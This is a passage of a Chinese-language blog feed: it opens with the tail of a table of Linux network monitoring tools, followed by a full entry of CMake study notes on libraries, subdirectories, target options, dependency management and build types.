&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ip addr&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;查看三层配置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ip -s route&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;查看路由规则与统计&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;nethogs&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;按进程监控带宽占用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;L2 数据链路层&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ip -s link&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;链路状态与 rx&#x2F;tx&#x2F;err 统计&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;arp&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;查看 arp 表与邻居信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ethtool&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;链路状态、速率与网卡设置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;brctl&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;查看 linux 网桥 fdb&#x2F;stp 状态&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;iwconfig&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;iwlist&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;无线链路状态 &#x2F; 扫描可用无线网络&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;抓包与分析&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tcpdump&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;tshark&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;抓包并分析二&#x2F;三&#x2F;四层头部&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;Wireshark&lt;&#x2F;td&gt;&lt;td&gt;tcpdump&#x2F;tshark 的图形界面版&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;nmap&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;远程主机扫描，发现二&#x2F;三&#x2F;四层信息与服务&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;OpenVAS&lt;&#x2F;td&gt;&lt;td&gt;具备扫描发现能力的漏洞扫描器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;EtherApe&lt;&#x2F;td&gt;&lt;td&gt;图形化网络监控（link&#x2F;IP&#x2F;TCP 模式）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;出处与使用场景见&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;%E7%AC%94%E8%AE%B0-linux-%E6%80%A7%E8%83%BD%E7%9B%91%E8%A7%86%E4%B8%8E%E8%B7%91%E5%88%86%E6%B5%8B%E8%AF%95&#x2F;&quot;&gt;笔记：Linux 性能监视与跑分测试&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>CMake 学习笔记</title>
        <published>2024-01-04T00:00:00+00:00</published>
        <updated>2024-01-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/cmake-学习笔记/"/>
        <id>https://vercel.juzhong.asia/obsidian/cmake-学习笔记/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/cmake-学习笔记/">&lt;h1 id=&quot;cmake-xue-xi-bi-ji&quot;&gt;CMake 学习笔记&lt;&#x2F;h1&gt;
&lt;p&gt;CMake 已经是 C++ 构建系统的事实标准。&lt;&#x2F;p&gt;
&lt;p&gt;主要是对小彭老师的 C++ 视频课程中 CMake 相关部分的一些笔记和整理，视频链接如下&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1fa411r7zp%3Fvd_source%3D07d6eec55261917555a5d7fb4429cab9&quot;&gt;学 C++ 从 CMake 学起&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV16P4y1g7MH%3Fvd_source%3D07d6eec55261917555a5d7fb4429cab9&quot;&gt;现代 CMake 高级教程&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;包含视频中的代码和 PPT 的仓库见以下链接&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;parallel101&#x2F;course&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;parallel101&#x2F;course&quot;&gt;github.com&#x2F;parallel101&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;parallel101&#x2F;course&quot;&gt;course&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本笔记重点关注与 CMake 相关的一些知识点，需要的前置知识为 C++ 本身的头文件机制、编译流程、Makefile 的基本认知等内容，所以不会赘述课程中出现的一些很基本的内容。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ji-ben-de-c-bian-yi-xiang-guan-de-ming-ling&quot;&gt;基本的 C++ 编译相关的命令&lt;&#x2F;h3&gt;
&lt;p&gt;编译单文件为可执行文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;g++&amp;#x2F;clang++ main.cpp -o main.out
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看 binary 文件的反汇编代码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;objdump -D binary | less
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看 binary 文件的共享库依赖&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ldd binary
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;cmake-jian-jie&quot;&gt;CMake 简介&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;构建系统的构建系统。&lt;&#x2F;li&gt;
&lt;li&gt;跨平台，只需要一份 CMakeLists.txt 文件就可以在不同的平台上使用相应的构建系统来构建项目。&lt;&#x2F;li&gt;
&lt;li&gt;自动检测源文件和头文件之间的依赖关系，导出到 Makefile 里。&lt;&#x2F;li&gt;
&lt;li&gt;自动检测编译器，使用对应的 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;jing-tai-ku-he-dong-tai-ku&quot;&gt;静态库和动态库&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cmake-notes&#x2F;static-dynamic-library-diff.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;静态库和动态库&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;静态库相当于直接把代码插入到生成的可执行文件中，会导致体积变大，但是只需要一个文件即可运行&lt;&#x2F;li&gt;
&lt;li&gt;动态库则只在生成的可执行文件中生成“插桩”函数，当可执行文件被加载时会读取指定目录中的 .dll 文件，加载到内存中空闲的位置，并且替换相应的“插桩”指向的地址为加载后的地址，这个过程称为重定向。这样以后函数被调用就会跳转到动态加载的地址去。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;cmake-zhong-de-jing-tai-ku-he-dong-tai-ku&quot;&gt;CMake 中的静态库和动态库&lt;&#x2F;h3&gt;
&lt;p&gt;使用 &lt;code&gt;add_library&lt;&#x2F;code&gt; 生成库文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;add_library(test STATIC source1.cpp source2.cpp)  # 生成静态库 libtest.a
add_library(test SHARED source1.cpp source2.cpp)  # 生成动态库 libtest.so
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建库之后，要在某个可执行文件中使用该库，只需要：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;target_link_libraries(myexec PUBLIC test)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;cmake-zhong-de-zi-mo-kuai&quot;&gt;CMake 中的子模块&lt;&#x2F;h3&gt;
&lt;p&gt;在根目录的 CMakeLists.txt 文件中使用 add_subdirectory 添加子目录，然后在子目录中也写一个 CMakeLists.txt，然后在其中定义库，所有的子模块都可以使用这个库。目录结构如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;project
├── CMakeLists.txt
├── hellolib
│   ├── CMakeLists.txt
│   ├── hello.cpp
│   └── hello.h
└── main.cpp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中根目录下的 CMakeLists.txt 文件如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;cmake_minimum_required(VERSION 3.12)
project(hellocmake LANGUAGES CXX)

add_subdirectory(hellolib)

add_executable(a.out main.cpp)
target_link_libraries(a.out PUBLIC hellolib)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;hellolib 子目录下的 CMakeLists.txt 文件如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;add_library(hellolib STATIC hello.cpp)
target_include_directories(hellolib PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}) # 添加当前目录到 hellolib 的头文件搜索路径中， PUBLIC 表示传播给 hellolib 的用户
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中 &lt;code&gt;target_include_directories&lt;&#x2F;code&gt; 的作用是将当前目录添加到 hellolib 库的头文件搜索路径中，这样在 hellolib 库中的头文件就可以直接使用 &lt;code&gt;#include &quot;hello.h&quot;&lt;&#x2F;code&gt; 的方式来引用了，甚至可以用 &lt;code&gt;#include &amp;lt;hello.h&amp;gt;&lt;&#x2F;code&gt; 的方式来引用，因为 CMake 会自动将当前目录添加到 hellolib 库的头文件搜索路径中。&lt;&#x2F;p&gt;
&lt;p&gt;而其中 &lt;code&gt;PUBLIC&lt;&#x2F;code&gt; 的作用是将这个属性传播给 hellolib 库的用户，这样 hellolib 的用户也可以直接使用 &lt;code&gt;#include &quot;hello.h&quot;&lt;&#x2F;code&gt; 的方式来引用了，例如在根目录下的 main.cpp 中可以直接使用 &lt;code&gt;#include &quot;hello.h&quot;&lt;&#x2F;code&gt; 的方式来引用。&lt;&#x2F;p&gt;
&lt;p&gt;如果不想让 hellolib 的用户自动添加这个头文件搜索路径，可以使用 &lt;code&gt;PRIVATE&lt;&#x2F;code&gt; 属性，这样只有 hellolib 库内部才能使用 &lt;code&gt;#include &quot;hello.h&quot;&lt;&#x2F;code&gt; 的方式来引用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cmake-zhong-qi-ta-mu-biao-xuan-xiang&quot;&gt;CMake 中其他目标选项&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;target_include_directories(myapp PUBLIC &amp;#x2F;usr&amp;#x2F;include&amp;#x2F;eigen3)  # 添加头文件搜索目录
target_link_libraries(myapp PUBLIC hellolib)                  # 添加要链接的库
target_add_definitions(myapp PUBLIC MY_MACRO=1)               # 添加一个宏定义
target_add_definitions(myapp PUBLIC -DMY_MACRO=1)             # 与 MY_MACRO=1 等价
target_compile_options(myapp PUBLIC -fopenmp)                 # 添加编译器命令行选项
target_sources(myapp PUBLIC hello.cpp other.cpp)              # 添加要编译的源文件
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在已经不推荐使用不针对特定目标的命令了，例如 &lt;code&gt;add_definitions&lt;&#x2F;code&gt;、&lt;code&gt;include_directories&lt;&#x2F;code&gt;、&lt;code&gt;link_libraries&lt;&#x2F;code&gt; 等，而是使用 &lt;code&gt;target_xxx&lt;&#x2F;code&gt; 的方式来添加属性，这样可以针对特定的目标添加属性，而不是添加全局属性。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;di-san-fang-ku&quot;&gt;第三方库&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;chun-tou-wen-jian-yin-ru&quot;&gt;纯头文件引入&lt;&#x2F;h3&gt;
&lt;p&gt;这里是一些好用的 header-only 库：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;nothings&#x2F;stb - 大名鼎鼎的 stb_image 系列，涵盖图像，声音，字体等，只需单头文件！&lt;&#x2F;li&gt;
&lt;li&gt;Neargye&#x2F;magic_enum - 枚举类型的反射，如枚举转字符串等（实现方式很巧妙）&lt;&#x2F;li&gt;
&lt;li&gt;g-truc&#x2F;glm - 模仿 GLSL 语法的数学矢量&#x2F;矩阵库（附带一些常用函数，随机数生成等）&lt;&#x2F;li&gt;
&lt;li&gt;Tencent&#x2F;rapidjson - 单纯的 JSON 库，甚至没依赖 STL（可定制性高，工程美学经典）&lt;&#x2F;li&gt;
&lt;li&gt;ericniebler&#x2F;range-v3 - C++20 ranges 库就是受到他启发（完全是头文件组成）&lt;&#x2F;li&gt;
&lt;li&gt;fmtlib&#x2F;fmt - 格式化库，提供 std::format 的替代品（需要 -DFMT_HEADER_ONLY）&lt;&#x2F;li&gt;
&lt;li&gt;gabime&#x2F;spdlog - 能适配控制台，安卓等多后端的日志库（和 fmt 冲突！）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;优点：简单方便，只需要把他们的 include 目录或头文件下载下来，然后 &lt;code&gt;include_directories(spdlog&#x2F;include)&lt;&#x2F;code&gt; 即可。&lt;&#x2F;p&gt;
&lt;p&gt;缺点：函数直接实现在头文件里，没有提前编译，从而需要重复编译同样内容，编译时间长。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zi-mo-kuai-yin-ru&quot;&gt;子模块引入&lt;&#x2F;h3&gt;
&lt;p&gt;直接把相应的库放到工程的根目录，然后 &lt;code&gt;add_subdirectory&lt;&#x2F;code&gt; 即可。&lt;&#x2F;p&gt;
&lt;p&gt;这些库能够很好地支持作为子模块引入：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;fmtlib&#x2F;fmt - 格式化库，提供 std::format 的替代品&lt;&#x2F;li&gt;
&lt;li&gt;gabime&#x2F;spdlog - 能适配控制台，安卓等多后端的日志库&lt;&#x2F;li&gt;
&lt;li&gt;ericniebler&#x2F;range-v3 - C++20 ranges 库就是受到他启发&lt;&#x2F;li&gt;
&lt;li&gt;g-truc&#x2F;glm - 模仿 GLSL 语法的数学矢量&#x2F;矩阵库&lt;&#x2F;li&gt;
&lt;li&gt;abseil&#x2F;abseil-cpp - 旨在补充标准库没有的常用功能&lt;&#x2F;li&gt;
&lt;li&gt;bombela&#x2F;backward-cpp - 实现了 C++ 的堆栈回溯便于调试&lt;&#x2F;li&gt;
&lt;li&gt;google&#x2F;googletest - 谷歌单元测试框架&lt;&#x2F;li&gt;
&lt;li&gt;google&#x2F;benchmark - 谷歌性能评估框架&lt;&#x2F;li&gt;
&lt;li&gt;glfw&#x2F;glfw - OpenGL 窗口和上下文管理&lt;&#x2F;li&gt;
&lt;li&gt;libigl&#x2F;libigl - 各种图形学算法大合集&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;yin-yong-xi-tong-zhong-yu-an-zhuang-de-ku&quot;&gt;引用系统中预安装的库&lt;&#x2F;h3&gt;
&lt;p&gt;可以通过 find_package 命令寻找系统中的包&#x2F;库：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;find_package(fmt REQUIRED)
target_link_libraries(myexec PUBLIC fmt::fmt)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;值得注意的是，这里不是简单的 fmt 而是 fmt::fmt，这是因为现代 CMake 认为一个包 (package) 可以提供多个库，又称组件 (components)，比如 TBB 这个包，就包含了 tbb, tbbmalloc, tbbmalloc_proxy 这三个组件。&lt;&#x2F;p&gt;
&lt;p&gt;可以指定使用哪些组件，如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;find_package(TBB REQUIRED COMPONENTS tbb tbbmalloc REQUIRED)
target_link_libraries(myexec PUBLIC TBB::tbb TBB::tbbmalloc)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bao-guan-li-qi&quot;&gt;包管理器&lt;&#x2F;h3&gt;
&lt;p&gt;Linux 可以用系统自带的包管理器（如 apt）安装 C++ 包，例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install libfmt-dev
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Windows 则没有自带的包管理器。因此可以用跨平台的 vcpkg：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;microsoft&#x2F;vcpkg&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;microsoft&#x2F;vcpkg&quot;&gt;github.com&#x2F;microsoft&#x2F;vc&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;microsoft&#x2F;vcpkg&quot;&gt;pkg&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cd vcpkg
.\bootstrap-vcpkg.bat
.\vcpkg integrate install
.\vcpkg install fmt:x64-windows
cd ..
cmake -B build -DCMAKE_TOOLCHAIN_FILE=&amp;quot;%CD%&amp;#x2F;vcpkg&amp;#x2F;scripts&amp;#x2F;buildsystems&amp;#x2F;vcpkg.cmake&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xian-dai-cmake-gao-ji-jiao-cheng&quot;&gt;现代 CMake 高级教程&lt;&#x2F;h2&gt;
&lt;p&gt;现代 CMake 主要指 3.x 版本的 CMake，提供了更加方便的命令行指令和更加清晰简洁的语法。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ming-ling-xing-xiao-ji-qiao&quot;&gt;命令行小技巧&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;b-he-build-xuan-xiang&quot;&gt;&lt;code&gt;-B&lt;&#x2F;code&gt; 和 &lt;code&gt;--build&lt;&#x2F;code&gt; 选项&lt;&#x2F;h3&gt;
&lt;p&gt;现代 CMake 提供了跨平台的 &lt;code&gt;-B&lt;&#x2F;code&gt; 和 &lt;code&gt;--build&lt;&#x2F;code&gt; 指令，更加方便好用。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cmake -B build
cmake --build build -j4
cmake --build build --target install
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;CMake 项目的构建分为两步，&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;第一步是 &lt;code&gt;cmake -B build&lt;&#x2F;code&gt;，称为配置阶段（configure），这时只检测环境并生成构建规则
会在 build 目录下生成本地构建系统能识别的项目文件（Makefile 或是 .sln）&lt;&#x2F;li&gt;
&lt;li&gt;第二步是 &lt;code&gt;cmake --build build&lt;&#x2F;code&gt;，称为构建阶段（build），这时才实际调用编译器来编译代码&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;d-xuan-xiang&quot;&gt;&lt;code&gt;-D&lt;&#x2F;code&gt; 选项&lt;&#x2F;h3&gt;
&lt;p&gt;在配置阶段可以通过 &lt;code&gt;-D&lt;&#x2F;code&gt; 设置缓存变量。第二次配置时，之前的 &lt;code&gt;-D&lt;&#x2F;code&gt; 添加仍然会被保留。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 设置安装路径为 &amp;#x2F;opt&amp;#x2F;openvdb-8.0（会安装到 &amp;#x2F;opt&amp;#x2F;openvdb-8.0&amp;#x2F;lib&amp;#x2F;libopenvdb.so）
cmake -B build -DCMAKE_INSTALL_PREFIX=&amp;#x2F;opt&amp;#x2F;openvdb-8.0
# 设置构建模式为发布模式（开启全部优化）
cmake -B build -DCMAKE_BUILD_TYPE=Release
# 第二次配置时没有 -D 参数，但是之前的 -D 设置的变量都会被保留
#（此时缓存 CMakeCache.txt 文件里仍有之前定义的 CMAKE_BUILD_TYPE 和 CMAKE_INSTALL_PREFIX）
cmake -B build
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;g-xuan-xiang&quot;&gt;&lt;code&gt;-G&lt;&#x2F;code&gt; 选项&lt;&#x2F;h3&gt;
&lt;p&gt;Linux 系统上的 CMake 默认用是 Unix Makefiles 生成器；Windows 系统默认是 Visual Studio 2019 生成器；MacOS 系统默认是 Xcode 生成器。&lt;&#x2F;p&gt;
&lt;p&gt;可以用 -G 参数改用别的生成器，例如 &lt;code&gt;cmake -G Ninja&lt;&#x2F;code&gt; 会生成 Ninja 这个构建系统的构建规则。&lt;&#x2F;p&gt;
&lt;p&gt;Ninja 是一个高性能，跨平台的构建系统，Linux、Windows、MacOS 上都可以用。
Ninja 是专为性能优化的构建系统（比 MSbuild 和 Makefile 效率要高），他和 CMake 结合都是行业标准了，推荐使用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tian-jia-yuan-wen-jian&quot;&gt;添加源文件&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;直接在 &lt;code&gt;add_executable&lt;&#x2F;code&gt; 中添加源文件
add_executable(myapp main.cpp hello.cpp)&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;先创建目标，然后添加源文件
add_executable(myapp)
target_sources(myapp PUBLIC main.cpp hello.cpp)&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用 GLOB 自动查找源文件
file(GLOB sources *.cpp *.h)
add_executable(myapp ${sources})这种方法有一些缺点，比如如果添加了新的源文件，需要重新运行 CMake 才能生效。
可以使用 CONFIGURE_DEPENDS 选项来解决这个问题，但是这个选项只有在 CMake 3.12 以上才支持。
file(GLOB sources CONFIGURE_DEPENDS *.cpp *.h)
add_executable(myapp ${sources})&lt;&#x2F;p&gt;
&lt;p&gt;另外，现在这样没法递归搜索子目录，如果要递归搜索子目录，可以使用 &lt;code&gt;file(GLOB_RECURSE)&lt;&#x2F;code&gt; 命令。
file(GLOB_RECURSE sources CONFIGURE_DEPENDS *.cpp *.h)
add_executable(myapp ${sources})&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用 &lt;code&gt;aux_source_directory&lt;&#x2F;code&gt; 命令，可以自动搜集需要的文件后缀名
aux_source_directory(. sources)
add_executable(myapp ${sources})这种方法和 GLOB 类似，也有一些缺点，比如如果添加了新的源文件，需要重新运行 CMake 才能生效。
另外，这种方法也没法递归搜索子目录，需要自己指定子目录
aux_source_directory(. sources)
aux_source_directory(.&#x2F;subdir sources)
add_executable(myapp ${sources})&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;值得注意的一点是 .h 文件不添加到源文件中仍然可以正常编译运行，但是添加之后可以使得 IDE 中可以显示文件，因此建议是将 .h 文件也添加到源文件中。&lt;&#x2F;p&gt;
&lt;p&gt;另外 GLOB_RECURSE 会把 build 目录里生成的临时 .cpp 文件也加进来，一般建议将源码统一放到 src 目录中。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiang-mu-bian-liang-pei-zhi&quot;&gt;项目变量配置&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;gou-jian-mo-shi-cmake-build-type&quot;&gt;构建模式 &lt;code&gt;CMAKE_BUILD_TYPE&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Release、Debug、MinSizeRel、RelWithDebInfo 是 CMake 内置的构建模式，可以通过 &lt;code&gt;cmake -B build -DCMAKE_BUILD_TYPE=Release&lt;&#x2F;code&gt; 来指定构建模式，其具体含义如下&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Build Mode&lt;&#x2F;th&gt;&lt;th&gt;Compiler Flags&lt;&#x2F;th&gt;&lt;th&gt;Meaning&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Release&lt;&#x2F;td&gt;&lt;td&gt;-O3 -DNDEBUG&lt;&#x2F;td&gt;&lt;td&gt;Optimized, no debug&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Debug&lt;&#x2F;td&gt;&lt;td&gt;-O0 -g&lt;&#x2F;td&gt;&lt;td&gt;Debug symbols enabled&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;MinSizeRel&lt;&#x2F;td&gt;&lt;td&gt;-Os -DNDEBUG&lt;&#x2F;td&gt;&lt;td&gt;Optimized, minimal size&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;RelWithDebInfo&lt;&#x2F;td&gt;&lt;td&gt;-O2 -g -DNDEBUG&lt;&#x2F;td&gt;&lt;td&gt;Optimized, with debug symbols&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
